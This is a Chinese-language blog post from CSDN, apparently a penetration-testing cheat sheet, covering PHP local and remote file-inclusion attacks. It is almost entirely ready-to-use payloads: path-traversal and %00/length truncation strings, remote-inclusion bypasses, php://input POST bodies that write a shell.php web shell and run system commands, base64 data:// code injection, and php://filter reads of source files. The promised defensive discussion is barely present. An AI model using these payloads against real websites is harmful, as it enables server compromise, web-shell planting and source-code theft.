文件包含漏洞

本文详细介绍了PHP中的本地和远程文件包含漏洞,包括无限制与有限制的情况,以及如何利用各种协议流进行攻击。同时,展示了如何通过php://filter、data://等方法执行代码和系统命令。此外,还讨论了如何防止这些攻击,强调了配置选项如allow_url_fopen和allow_url_include的重要性。
摘要由CSDN通过智能技术生成

本地包含

无限制

http://127.0.0.1:8080/include.php?filename=1.txt

有限制

http://127.0.0.1:8000/include.php?filename=…/…/…/www.txt
%00截断:条件:magic_quotes_gpc=Off php版本<5.3.4
filename=…/…/…/www.txt%00
推荐方法:长度阶段:条件:windows,点号需要长于256;linux长于4096
(例如:windows:1.txt/././././././././././././././././././././././././././././././././././././././././././././
linux:1.txt…)

远程包含

无限制

http://127.0.0.1:8080/iclude.php?filename=http://www.xiaodi8.com/readme.txt

有限制

http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?

各种协议流

php版本均要>=5.2

协议 allow_url_fopen allow_rul_include用法
file:// off/on off/on?file=file://flag.txt
php://filter off/on off/on?file=php://filter/read=convert.base64-encode/resource=./index.php
php://input off/on on?file=php://input POST: <?php phpinfo()?>
data:// on on?file=data://text/plain,<?php phpinfo()?>【or】?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=也可以:?file=data:text/plain,<?php phpinfo()?>【or】?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
zip:// off/on off/on?file=zip://D:/soft/phpStudy/WWW/file.zip%23phpcode.txt
compress.bzip2:// off/on off/on?file=compress.bzip2://D:/soft/phpStudy/WWW/file.bz2【or】?file=compress.bzip2://./file.bz2
compress.zlib:// off/on off/on?file=compress.bzip2://D:/soft/phpStudy/WWW/file.gz【or】?file=compress.zlib://./file.gz

file://

说明:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
条件:
php <5.0 ,allow_url_include=Off 情况下也可以用
php > 5.0,只有在allow_url_fopen=On 时才能使用

增加一句话

//在file.php所在文件下的文件shell.php内增加"<?php phpinfo();?>"一句话。
URL?file=php://input
POST<?php fputs(fopen("shell.php","a"),"<?php phpinfo();?>") ?>

增加文件

通过fopen参数为w,可新建一个文件,并在新建的文件shell.php中写入<?php phpinfo();?>
URL?file=php://input
POST<?php fputs(fopen("shell.php","w"),"<?php phpinfo();?>") ?>

执行系统命令

通过php的系统执行函数,将执行命令写入到文件中,并且执行系统命令
URL?file=php://input 
 POST<?php system('ipconfig');?>

data://

条件:
allow_url_include=On
php > 5.2

文字命令

//在文件中写入<?php phpinfo()?>
Payload:
    ?file=data:text/plain,<?php phpinfo()?>
//使用base64加密
    ?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

图片命令:

加图片木马

Payload:
    ?imagedata=data://image/jpeg;base64,

php://filter

:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过来:
Payload:
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword
(绝对路径)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=…/…/oneword
(相对路径)
http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]😕/www.bbb.com/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值